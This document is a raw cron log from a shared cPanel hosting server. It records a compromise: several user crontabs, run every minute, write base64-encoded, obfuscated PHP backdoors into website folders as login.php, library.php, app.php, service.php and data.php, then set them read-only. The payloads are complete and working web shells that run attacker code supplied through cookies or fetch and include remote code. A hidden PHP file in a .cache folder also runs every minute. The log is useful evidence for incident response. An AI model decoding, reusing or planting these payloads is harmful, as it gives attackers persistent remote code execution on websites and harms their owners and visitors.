Mar  1 05:48:01 medusa CROND[20727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:48:01 medusa CROND[20757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:48:01 medusa CROND[20758]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:48:01 medusa CROND[20759]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:48:01 medusa CROND[20760]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:48:01 medusa CROND[20767]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:48:01 medusa CROND[20768]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:48:01 medusa CROND[20769]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:48:01 medusa CROND[20770]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:48:01 medusa CROND[20779]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:48:01 medusa CROND[20780]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:48:01 medusa CROND[20781]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:48:01 medusa CROND[20782]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:49:01 medusa CROND[13254]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:49:01 medusa CROND[13255]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:49:01 medusa CROND[13256]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:49:01 medusa CROND[13257]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:49:01 medusa CROND[13259]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:49:01 medusa CROND[13260]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:49:01 medusa CROND[13261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:49:01 medusa CROND[13263]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:49:01 medusa CROND[13265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:49:01 medusa CROND[13266]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:49:01 medusa CROND[13269]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:49:01 medusa CROND[13290]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:50:02 medusa CROND[5899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:50:02 medusa CROND[5900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:50:02 medusa CROND[5901]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 05:50:02 medusa CROND[5902]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:50:02 medusa CROND[5903]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:50:02 medusa CROND[5904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:50:02 medusa CROND[5905]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:50:02 medusa CROND[5906]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:50:02 medusa CROND[5907]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 05:50:02 medusa CROND[5908]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:50:02 medusa CROND[5909]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 05:50:02 medusa CROND[5915]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
